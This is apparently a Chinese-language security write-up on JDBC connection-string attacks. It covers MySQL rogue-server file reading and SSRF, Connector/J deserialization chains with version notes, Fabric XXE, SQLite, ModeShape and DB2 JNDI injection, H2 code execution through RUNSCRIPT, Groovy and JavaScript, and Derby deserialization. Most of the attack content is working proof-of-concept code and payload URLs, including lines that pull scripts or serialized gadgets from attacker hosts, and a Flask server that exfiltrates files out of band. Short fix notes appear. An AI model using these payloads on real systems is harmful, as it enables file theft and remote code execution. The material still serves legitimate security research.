Mysql 任意文件读取

条件

  • 连接串功能需要 JDBC

影响范围

  1. Mysql Client (PDF)
  2. PHP mysqli (pwned, fixed in 7.3.4)
  3. php pdo (缺省禁用)
  4. Python MySQLdb
  5. Mysqlclient for Python (pwned)
  6. java JDBC驱动器(在某些情况下默认禁用 pwned)
  7. Navicat (owned)
从BlackHat来看JDBC Attack插图
从BlackHat来看JDBC Attack

行为

  1. 读取服务端文件
  2. 结合 phar协议 ssrf,见开头链接

原理

因为在mysql中的LOAD DATA INFILE语法中,它主要是用于读取一个文件的内容并将其放到一个表中。

Load data infile "/data/data.csv" into table TestTable;load data local infile "/home/data.csv" into table TestTable;

一个是读服务器本地上的文件,另一个是读client客户端的文件。我们这次要使用的也就是LOAD DATA LOCAL INFILE这种形式。

正如官方文档中提出的安全风险,“In theory, a patched server could be built that would tell the client program to transfer a file of the server’s choosing rather than the file named by the client in the LOAD DATA statement.”

可以看到,客户端读取哪个文件其实并不是自己说了算的,是服务端说了算的,形象一点地说就是下面这个样子:

  • 客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
  • 服务端:OK,读取你本地 data.csv 文件并发给我!
  • 客户端:这是文件内容:balabal!

正常情况下,这个流程不会有什么问题,但是如果我们制作了恶意的客户端,并恢复服务端任意一个我们想要获取的文件,那么情况就不一样了。

  • 客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
  • 服务端:OK,读取你本地的 / etc/passwd 文件并发给我!
  • 客户端:这是文件内容:balabal(/etc/passwd 文件的内容)!

漏洞利用

伪造一个 MySQL 的服务端,甚至不需要实现 MySQL 的任何功能(除了向客户端回复 greeting package),当有客户端连接上这个假服务端的时候,我们就可以任意读取客户端的一个文件,当然前提是运行客户端的用户具有读取该文件的权限

使用工具搭建恶意Mysql服务,通过?user=选中需要读取的文件:

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_E:/tools.md&maxAllowedPacket=655360";
        Connection con = DriverManager.getConnection(url);
    }
}

mysql-connector-java 5.1.x版本需要加上maxAllowedPacket=655360选项,否则报java.lang.NegativeArraySizeException错误

使用场景

  1. 与网站重装漏洞配合使用任意文件读取服务器。
  2. 需要外部数据连接的功能点,如数据迁移
  3. 建立信息读取蜜罐上的攻击者。

修复

  • 使用SSL建立可信连接
jdbc:mysql://myDatabaseInfo:3306/DB_NAME?useSSL=true&trustCertificateKeyStoreUrl=path\to\truststore&trustCertificateKeyStorePassword=myPassword
  • 在配置文件中禁用LOAD读取文件

POC

Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_E:/tools.md&maxAllowedPacket=655360";
Connection con = DriverManager.getConnection(url);

AllowUrlInLocalInfile的使用

条件

  • JDBC连接可控
  • 开启allowUrlInLocalInfile, 默认关闭

作用

能够使用URL类支持的所有协议,进行SSRF获取file协议读取本地文件

原理

mysql-connector-java包中存在一个sendFileToServer方法

当然,这个方法在不同的版本所处的包位置不同,我这里是使用的5.1.48版本

在 3.0.3版本开始存在 参见官方文档:MySQL :: MySQL Connector/J 8.0 Developer Guide :: 6.3.5 Security

image-20220802144401213.png

在这里将会判断是否开始了选项,如果开启了就会进入else语句中,首先会判断是否存在:之后才会将其作为URL类构造函数的参数,后面进行请求

使用http协议

使用工具搭建mysql服务

之后开启8888端口的监听

//test.java
public class Test {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_http://127.0.0.1:8888/&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
        Connection con = DriverManager.getConnection(url);
    }
}
image-20220802142831276.png

成功请求,说明可以获得回显的内容

使用file协议

读取内网文件

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///etc/passwd&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
        Connection con = DriverManager.getConnection(url);
    }
}

列目录

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///.&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
        Connection con = DriverManager.getConnection(url);
    }
}

使用jar协议

jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///test.jar!/META-INF/MANIFEST.MF&maxAllowedPacket=655360&allowUrlInLocalInfile=true

修复

使用属性进行覆盖

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_E:/tools.md&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
        Properties properties = new Properties();
        properties.setProperty("allowLoadLocalInfile","false");
//        properties.setProperty("allowUrlInLocalInfile", "false");
        Connection con = DriverManager.getConnection(url, properties);
    }
}
jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///E:/tools.md&maxAllowedPacket=655360&allowUrlInLocalInfile=true

Mysql客户端反序列化

同样可以使用Quick Start · alibaba/cobar Wiki (github.com)j进行代理,在com.alibaba.cobar.server.ServerConnection#execute中添加代码

if (sql.equals("SHOW xx")) {
    sql = "select * from evil";
}

进行序列化字符串的获取

条件

原理

POC

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";

关键属性

**queryInterceptors:**一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)

statementInterceptors:和上面的拦截器作用一致,实现了com.mysql.jdbc.StatementInterceptor接口的Class

到底应该使用哪一个属性,我们可以在对应版本的com.mysql.jdbc.ConnectionPropertiesImpl类中搜索,如果存在,就是存在的那个属性

**autoDeserialize:**自动检测与反序列化存在BLOB字段中的对象。

getObject方法的寻找

我们可以关注到mysql-connnector-java-xxx.jar包中存在有ResultSetImpl.getObject()方法

当然,同样的,在不同的版本下的位置不同,我这里使用的5.1.48版本,他的位置在com.mysql.jdbc.ResultSetImpl类中

image-20220802195657430.png

首先他会判断类型,如果是BIT类型,就会调用getObjectDeserializingIfNeeded方法,跟进

image-20220802195901681.png

之后他首先会判断field是否是Binary或者Blob

BLOB (binary large object),二进制大对象,是一个可以存储二进制文件的容器。在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型

之后取出对应的字节数,并且判断是否开启了autoDeserialize, 如果开启了,将会进入if语句继续判断前两个字节是否为-84-19这是序列化字符串的标志,hex分别为AC ED, 如果满足条件,就会调用对应的readObject方法进行反序列化

所以不难发现,如果我们能够控制需要反序列化的数据,就能够进行反序列化漏洞的利用

ServerStatusDiffInterceptor拦截器的妙用

我们可以关注到com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor这个类,在其中的populateMapWithSessionStatusValues方法中,会调用Util.resultSetToMap(toPopulate, rs);方法,进而调用了java.sql.ResultSet.getObject方法,形成利用链

//populateMapWithSessionStatusValues
private void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
    java.sql.Statement stmt = null;
    java.sql.ResultSet rs = null;

    try {
        toPopulate.clear();

        stmt = connection.createStatement();
        rs = stmt.executeQuery("SHOW SESSION STATUS");
        Util.resultSetToMap(toPopulate, rs); //调用getObject方法
    } finally {
        if (rs != null) {
            rs.close();
        }

        if (stmt != null) {
            stmt.close();
        }
    }
}
//Util.resultSetToMap
public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
    while (rs.next()) {
        mappedValues.put(rs.getObject(1), rs.getObject(2));
    }
}

同样通过idea的find Usages方法找到在postProcess方法中调用了populateMapWithSessionStatusValues

public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
        throws SQLException {

    if (connection.versionMeetsMinimum(5, 0, 2)) {
        //调用
        populateMapWithSessionStatusValues(connection, this.postExecuteValues);

        connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
    }

    return null; // we don't actually modify a result set

}

同样在preProcess方法中也调用了

在调用链中也可以得到

populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)
execSQL:2465, ConnectionImpl (com.mysql.jdbc)
execSQL:2439, ConnectionImpl (com.mysql.jdbc)
executeQuery:1365, StatementImpl (com.mysql.jdbc)
loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)
createNewIO:2015, ConnectionImpl (com.mysql.jdbc)
<init>:768, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:385, ConnectionImpl (com.mysql.jdbc)
connect:323, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:15, Test (pers.xstream)

com.mysql.jdbc.ConnectImpl#loadServerVariables方法存在需要执行一段SHOW VARIABLES的sql语句

results = stmt.executeQuery(versionComment + "SHOW VARIABLES");

因为在这个版本中的mysql-connector使用的是statementInterceptors作为在执行SQL语句的拦截器类,所以在com.mysql.jdbc.MysqlIO#sqlQueryDirect方法中存在对这个属性值是否存在的判断,如果存在,就调用其中的拦截处理逻辑,不存在就直接放行

image-20220804180057940.png

进而调用了对应InterceptorpreProcess方法,如果我们在JDBC连接串中使用的是ServerStatusDiffInterceptor作为拦截器,那么就会调用他的preProcess方法,进而形成了利用链

注意:在populateMapWithSessionStatusValues方法中存在一个执行SHOW SESSION STATUS获取结果的逻辑

rs = stmt.executeQuery("SHOW SESSION STATUS");

我们在恶意Mysql服务端进行处理的时候就可以通过进行SHOW SESSION STATUS或者其他版本的其他标志作为标志,返回我们构造的恶意payload, 使得在后面调用了UtilresultSetToMap进行getObject的调用

ResultSetImpl#getObject方法中对mysql服务端返回的数据进行判断,这里是Types.LONGVARBINARY类型(长二进制数据), 再然后就是前面提到了getObject方法寻找的部分了

detectCustomCollations的妙用

在这里我们将环境中的mysql-connector-java包改为5.1.29版本

来自chybeta佬的研究,我们可以关注到ConnectionImpl#buildCollationMapping中存在有Util.resultSetToMap的调用,能够形成前面所描述的利用链

image-20220804213617994.png

首先看一下调用栈

buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)
createNewIO:2320, ConnectionImpl (com.mysql.jdbc)
<init>:834, ConnectionImpl (com.mysql.jdbc)
<init>:46, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:416, ConnectionImpl (com.mysql.jdbc)
connect:347, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:16, Test (pers.xstream)

从上面的截图我们可以看到有几个判断条件

  1. 需要满足服务端版本要大于4.1.0, 而且detectCustomCollations需要为true
if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())
  1. 需要满足大于5.0.0,在5.1.28不存在这个条件

同样这里获取了执行SHOW COLLATION命令的结果集,同样可以作为标志返回恶意payload

只要满足上述条件,就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了

版本区分

ServerStatusDiffInterceptor

  • 5.1.11-6.0.6使用的是statementInterceptors属性,而8.0以上使用queryInterceptors, 具体属性可以在ConnectionPropertiesImpl类中搜索
  • 5.1.11以下,不能通过这种方式利用,因为在5.1.10Interceptors的初始化过程在漏洞利用过程之后,将会在利用中,因为找不到interceptor而不能够触发成功
    https://github.com/mysql/mysql-connector-j/compare/5.1.10…5.1.11#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL779-L785
image-20220805202910869.png
  • 5.0.x没有这个拦截器

detectCustomCollations

  • 8.0.x不存在getObject方法的调用
  • 6.x能够利用,因为他在com.mysql.cj.jdbc.ConnectionImpl中调用了ResultSetUtil.resultSetToMap和上面的功能类似,且没有版本判断
image-20220806110402451.png
  • 5.1.29开始启用detectCustomCollations属性,但是直到5.1.49做出了更改导致不能使用
    https://github.com/mysql/mysql-connector-j/compare/5.1.48…5.1.49#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL911-L914
image-20220806105901130.png

在这里值得注意的是,在5.1.41做出了更改,不再调用Util.resultSetToMap方法,进而调用getObject方法,改为了直接调用getObject方法
https://github.com/mysql/mysql-connector-j/compare/5.1.40…5.1.41#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL944-R936

  • 5.1.19 - 5.1.28过程中,不存在detectCustomCollations属性的判断,但是仍然可以调用
    https://github.com/mysql/mysql-connector-j/compare/5.1.28…5.1.29#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL986-L1005
  • 5.1.18以下没有使用getObject方法的调用

可用连接串

直接对fnmsd的研究稍作修改

image-20220806112310207.png

将其中5.1.41不可用改成5.1.29以上只有5.1.49不可用,且6.x系列都可以使用

XXE_attack_analysis

原理

在mysql connector 5.1.48版本中,注册了两个驱动。除了常见的驱动com.mysql.cj.jdbc.Driver之外,就是这个名为com.mysql.fabric.jdbc.FabricMySQLDriver的驱动。

MySQL Fabric 是一个管理 MySQL 服务器场的系统。MySQL Fabric 提供了一个可扩展且易于使用的系统,用于管理 MySQL 部署以实现分片和高可用性。

Litch1研究了FabricMySQLDriver的源码,发现如果连接url以jdbc:mysql:fabric://开头,程序就会进入Fabric流程逻辑。

POC

from flask import Flask
app = Flask(__name__) 
@app.route('/xxe.dtd', methods=['GET', 'POST'])
def xxe_oob():
return '''<!ENTITY % aaaa SYSTEM "fiLe:///tmp/data">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM
'http://127,0.0.1:5000/xxe?data=%aaaa;'>"> %demo;'''
@app.route('/', methods=['GET', 'POST’])
def dtd():
return '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://127.0.0.1:5000/xxe.dtd"> %xd;]>
<root>&bbbb;</root>'''
if __name__ == '__main__'
app.run()
public static void main(String[] args) throws Exception{
	String url = "jdbc:mysql:fabric://127.0.0.1:5000";
	Connection conn = DriverManager.getConnection(url);
}

使用场景

Weblogic

在Weblogic后台接口中更改JDBC url

  1. anti-attack
  2. decept-defense(HoneyPot for example)

Other databases

sqlite

原理

在sqlite与数据库进行连接的时候,会调用org.sqlite.SQLiteConnection#open方法(版本不同,类也不同)

image-20220808101754695.png

如果连接的url,是以:resource:开头的,之后就会调用extractResource方法,并且会将其分隔开来,之后使用URL封装,跟进

image-20220808102556984.png

之后会读取远程的数据

参考“SELECT code_execution FROM * USING SQLite;”,我们可以利用“CREATE VIEW”将不可控的SELECT语句转换为可控。

如果我们可以控制 SELECT 语句,我们可以使用 SELECT load_extension(‘/tmp/test.so’) 来加载 dll/so 并执行恶意代码,但在现实世界中,目标系统上存在可控文件并不容易,并且load_extension 默认设置为关闭。

除了常见的漏洞之外,我们还可以使用 SQLite 中的内存损坏(例如“Magellan”)来导致 JVM 崩溃。

依赖

<dependency>
    <groupId>org.xerial</groupId>
    <artifactId>sqlite-jdbc</artifactId>
    <version>3.35.0</version>
</dependency>

POC

创建database控制Select语句
image-20220808103351518.png
利用
Class.forName("org.sqlite.JDBC");
Connection connection = DriverManager.getConnection("jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db");

ModeShape

原理

ModeShapeis an implementation of JCR(Java Content Repository),using JCR API to access data from other systems,e.g. filesystem, Subversion, JDBC metadata…

Repository source can be configured like jdbc:jcr:jndi:jcr:?repositoryName=repository.

So of cause we can use ModeShape to trigger JNDI Injection:

依赖

<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-jdbc</artifactId>
    <version>5.0.0.Final</version>
</dependency>

POC

public static void main(String[] args) throws Exception{
    Class.forName("org.modeshape.jdbc.LocalJcrDriver");
    DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:9999/Evil");
}

H2

原理

SpringBoot项目中存在有h2的console接口,可以改变JDBC‘s url达到攻击的目的

image-20220807203742659.png

条件

需要在配置文件中打开console功能

server.port=8000
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

分析

RunScript

在poc中的TRACE_LEVEL_SYSTEM_OUT=3是定义了输出级别为DEBUG级别

我们在org.h2.engine.Engine#openSession打下断点,在前面就会分离出INIT属性值,得到RUNSCRIPT FROM 'xxx'

image-20220807211458494.png

之后会调用var6.prepareCommand方法传入参数var5,初始化数据库连接

image-20220807211806683.png

跟进prepareCommand方法,调用了prepareLocal方法,继续跟进,之后会得到一个CommandContainer类,之后会调用他的executeUpdate方法,之后跟进到了update方法中

image-20220807213239744.png

update方法中

image-20220807213601320.png

首先会在断点处接收远程来的poc.sql

之后在调用ScriptReader中得到sql脚本,之后在之后执行execute执行命令

为什么要使用 RUNSCRIPT捏?

因为其中的prepareCommand只能够支持一条sql语句的执行,所以我们使用命令直接从远程获取执行sql语句脚本

不出网分析

所以我们需要找到一个能够只执行一条sql语句就能达到目的的途径

来自HTB中的议题分享,Litch1查看了语句CREATE ALIAS的创建者的源代码,发现语句中JAVA METHOD的定义交给了源编译类。支持的编译器有Java/Javascript/Groovy三种,从源代码编译器着手开始

Groovy

org.h2.util.SourceCompiler#getClass方法中他会通过isGroovySource判断是否是Groovy的源代码,如果是,就会调用SourceCompiler.GroovyCompiler.parseClass对源代码进行解析

image-20220808073349328.png

进而调用了groovy.lang.GroovyCodeSource#parseClass进行解析

image-20220808073445744.png

在poc中我们使用@AST注解进行断言执行任意代码

String groovy = "@groovy.transform.ASTTest(value={" +
        " assert java.lang.Runtime.getRuntime().exec(\"calc\")" +
        "})" +
        "def x";
String url = "jdbc:h2:mem:dbtest;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

在环境中需要存在groovy依赖

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.9</version>
</dependency>
image-20220808080305202.png
JavaScript执行

采用JavaScript + CREATE TRIGGER的方式不仅可以编译代码,还可以调用eval方法

同样在CommandContainer#update方法中调用了this.prepared.update()这里的preparedCreateTrigger

image-20220808081945813.png

跟进,在其中获得了对应的table属性,和TriggerObject,之后调用var4.setTriggerSource设置源代码

image-20220808082448537.png

跟进,跟着调用了setTriggerAction和 load方法

image-20220808082715776.png

在load方法中,会判断是否有triggerClassName,如果有,就直接加载对应的类并实例化,这里我们选择进入loadFromSource方法,直接从源代码中加载,跟进

image-20220808082858904.png

在其中,他会判断source是否是javaScript源代码,如果是,就会进行编译,特别的,在编译完成之后他会执行eval操作,自然的就达到了命令执行的目的

String javaScript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javaScript +"'";

POC

RunScript
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('calc')
Groovy
public static void main(String[] args) throws ClassNotFoundException, SQLException {
    Class.forName("org.h2.Driver");
    String groovy = "@groovy.transform.ASTTest(value={" +
            " assert java.lang.Runtime.getRuntime().exec(\"calc\")" +
            "})" +
            "def x";
    String url = "jdbc:h2:mem:dbtest;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";
    Connection connection = DriverManager.getConnection(url);
    connection.close();
}
JavaScript
public static void main(String[] args) throws ClassNotFoundException, SQLException {
    Class.forName("org.h2.Driver");
    String javaScript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javaScript +"'";
    Connection connection = DriverManager.getConnection(url);
    connection.close();
}

DB2

原理

clientRerouteServerListJNDINameIdentifies a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI repository of reroute server information.clientRerouteServerListJNDIName applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity, and to connections that are established through the DataSource interface. If the value of clientRerouteServerListJNDIName is not null, clientRerouteServerListJNDIName provides the following functions:

• Allows information about reroute servers to persist across JVMs

• Provides an alternate server location if the first connection to the data source fails

依赖

<dependency>
    <groupId>com.ibm.db2</groupId>
    <artifactId>jcc</artifactId>
    <version>11.5.7.0</version>
</dependency>

POC

Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:9999/Evil;");

Apache Derby

原理

org.apache.derby.impl.store.replication.net.SocketConnection中进行socket连接中

image-20220808100348726.png

readMessage方法中调用了输入流的readObject方法

之后在ReplicationMessageTransmit$MasterReceiverThread类存在readMessage方法的调用

image-20220808100524088.png

因为ReplicationMessageTransmit类是通过配置中的startMaster=true和 slaveHost=127.0.0.2将数据库从master复制到了slave中去的,所以如果我们可以搭建恶意服务器,然后受害端就会接收获取的数据,之后进行反序列化操作

依赖

<dependency>
    <groupId>org.apache.derby</groupId>
    <artifactId>derby</artifactId>
    <version>10.10.1.1</version>
</dependency>
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.4</version>
</dependency>

POC

public static void main(String[] args) throws Exception{
    Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
    DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip");
}

evil server

public class EvilSlaveServer {
    public static void main(String[] args) throws Exception {
        int port = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();
        socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("calc")));
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
}